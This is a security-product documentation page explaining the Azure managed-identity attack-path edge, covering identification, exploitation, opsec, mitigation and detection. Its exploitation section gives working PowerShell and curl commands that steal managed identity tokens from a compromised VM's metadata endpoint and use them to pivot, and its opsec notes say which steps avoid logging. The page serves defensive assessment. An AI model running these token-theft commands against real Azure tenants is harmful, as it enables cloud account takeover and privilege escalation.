> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/azure/az_assigned_managed_identity.md).

# AZ\_ASSIGNED\_MANAGED\_IDENTITY

## Summary

|                            |                                                                           |
| -------------------------- | ------------------------------------------------------------------------- |
| **FSProtect ACL Alias**    | AZ\_ASSIGNED\_MANAGED\_IDENTITY                                           |
| **Azure Alias**            | Assigned Managed Identity                                                 |
| **Affected Object Types**  | Azure SQL Server, Virtual Machine -> Service Principal (Managed Identity) |
| **Exploitation Certainty** | Certain                                                                   |

## Description

`AZ_ASSIGNED_MANAGED_IDENTITY` represents the relationship where an Azure resource (Azure SQL Server or Virtual Machine) has an assigned managed identity (system-assigned or user-assigned). The managed identity is backed by a Service Principal in Microsoft Entra ID, and the Azure resource authenticates as that Service Principal.

There are two types of managed identities:

* **System-assigned managed identity (SMI)** — Created automatically when enabled on the resource. Its lifecycle is tied to the resource; deleting the resource deletes the identity. The service principal name matches the resource name.
* **User-assigned managed identity (UMI)** — Created as a standalone Azure resource and explicitly assigned to one or more Azure resources. Its lifecycle is independent of the resources it is assigned to.

This edge is critical for attack paths because:

* If you compromise the Azure resource (e.g., via RunCommand on a VM or code execution on a SQL Server), you can **steal the managed identity token** by querying the Instance Metadata Service (IMDS) at `http://169.254.169.254/metadata/identity/oauth2/token`.
* The stolen token grants access to any Azure or Microsoft Graph resource that the managed identity's Service Principal is authorized to access.
* Managed identities are frequently over-provisioned with permissions such as Contributor, Owner, or broad Microsoft Graph API roles.

## Identification

### PowerShell (Az Module) — Virtual Machines

```powershell
Connect-AzAccount

# List VMs with system-assigned managed identity
Get-AzVM | Where-Object { $_.Identity.Type -match "SystemAssigned" } |
    Select-Object Name, ResourceGroupName,
        @{N='IdentityType';E={$_.Identity.Type}},
        @{N='PrincipalId';E={$_.Identity.PrincipalId}} |
    Format-Table -AutoSize

# List VMs with user-assigned managed identities
Get-AzVM | Where-Object { $_.Identity.Type -match "UserAssigned" } |
    ForEach-Object {
        $vm = $_
        $_.Identity.UserAssignedIdentities.Keys | ForEach-Object {
            [PSCustomObject]@{
                VMName = $vm.Name
                ResourceGroup = $vm.ResourceGroupName
                UserAssignedIdentityId = $_
            }
        }
    } | Format-Table -AutoSize
```

### PowerShell (Az Module) — Azure SQL Server

```powershell
Connect-AzAccount

# List SQL Servers with system-assigned managed identity
Get-AzSqlServer | ForEach-Object {
    $server = $_
    [PSCustomObject]@{
        ServerName = $server.ServerName
        ResourceGroup = $server.ResourceGroupName
        IdentityType = $server.Identity.Type
        PrincipalId = $server.Identity.PrincipalId
    }
} | Where-Object { $_.IdentityType } | Format-Table -AutoSize

# List SQL Servers with user-assigned managed identities
Get-AzSqlServer | Where-Object { $_.Identity.Type -match "UserAssigned" } |
    ForEach-Object {
        $server = $_
        $_.Identity.UserAssignedIdentities.Keys | ForEach-Object {
            [PSCustomObject]@{
                ServerName = $server.ServerName
                ResourceGroup = $server.ResourceGroupName
                UserAssignedIdentityId = $_
            }
        }
    } | Format-Table -AutoSize
```

### Azure CLI

```bash
# List VMs with managed identities
az vm list --query "[?identity].{Name:name, RG:resourceGroup, IdentityType:identity.type, PrincipalId:identity.principalId}" -o table

# List SQL Servers with managed identities
az sql server list --query "[?identity].{Name:name, RG:resourceGroup, IdentityType:identity.type, PrincipalId:identity.principalId}" -o table
```

### Azure GUI

1. Open **Azure Portal** → navigate to the target **Virtual Machine** or **SQL Server**.
2. Under **Settings**, select **Identity**.
3. Check the **System assigned** tab for the SMI status and Object ID.
4. Check the **User assigned** tab for any UMIs attached to the resource.

## Exploitation

### Steal Managed Identity Token from a Virtual Machine

If you have code execution on the VM (e.g., via [AZ\_EXECUTE\_COMMAND](https://docs.forestall.io/fsprotect/edges/azure/az_execute_command)), you can query the IMDS endpoint to obtain an OAuth token for the managed identity:

```powershell
# From within the compromised VM — request a token for Azure Resource Manager
$response = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
$token = ($response.Content | ConvertFrom-Json).access_token

# Use the token to call Azure Resource Manager
(Invoke-WebRequest -Uri "https://management.azure.com/subscriptions?api-version=2020-01-01" -Headers @{Authorization="Bearer $token"} -UseBasicParsing).Content | ConvertFrom-Json
```

```bash
# From within the compromised VM (Linux) — request a token for Azure Resource Manager
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
```

### Steal Managed Identity Token from Azure SQL Server

If you have SQL admin or code execution context on the SQL Server, the server's managed identity tokens can be used for Microsoft Graph operations (e.g., enumerating users, groups, applications). The SQL Server uses the managed identity to query Microsoft Entra ID for authentication operations.

### Pivot with a Stolen Token

Once you have a managed identity token, enumerate its permissions and pivot:

```powershell
# Connect to Azure using the stolen token
Connect-AzAccount -AccessToken $token -AccountId <PrincipalId>

# Enumerate role assignments for the managed identity
Get-AzRoleAssignment -ObjectId <PrincipalId> | Format-Table -AutoSize
```

## Opsec Considerations

* IMDS token requests are local HTTP calls (169.254.169.254) and do **not** generate Azure Activity Log entries.
* However, **using** the stolen token against Azure APIs will generate sign-in logs for the managed identity's service principal.
* EDR solutions on the VM may detect HTTP requests to the IMDS endpoint.

## Mitigation

1. **Apply least-privilege to managed identities**
   * Audit permissions assigned to all managed identity service principals.
   * Remove unnecessary Azure RBAC roles and Microsoft Graph permissions.
2. **Prefer user-assigned managed identities**
   * UMIs can be centrally managed and audited across multiple resources.
   * Easier to apply consistent least-privilege policies.
3. **Restrict code execution on resources**
   * Limit who can run commands on VMs (restrict VM Contributor, Contributor, Owner roles).
   * Limit SQL admin access to trusted principals only.
4. **Monitor managed identity sign-in activity**
   * Review Microsoft Entra sign-in logs for managed identity service principals.
5. **Disable managed identities when not needed**
   * If a resource does not require a managed identity, do not enable one.

## Detection

Monitor for unusual managed identity usage.

* **Microsoft Entra sign-in logs**: Filter by service principal sign-ins where the service principal type is "Managed Identity". Alert on:
  * Sign-ins from unexpected IP addresses (tokens used outside Azure).
  * Access to resources the managed identity should not need.
  * Unusual API call patterns.
* **Azure Activity Log**: Monitor for operations performed by managed identity service principals that deviate from normal baselines.
* **Endpoint Detection**: Monitor for processes querying the IMDS endpoint (`169.254.169.254`) on VMs.

## References

* <https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/overview>
* <https://learn.microsoft.com/en-us/azure/azure-sql/database/authentication-azure-ad-user-assigned-managed-identity>
* <https://learn.microsoft.com/en-us/azure/virtual-machines/identity-access-management>
* <https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-view-managed-identity-activity>
* <https://learn.microsoft.com/en-us/azure/active-directory/managed-identities-azure-resources/how-to-use-vm-token>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/azure/az_assigned_managed_identity.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
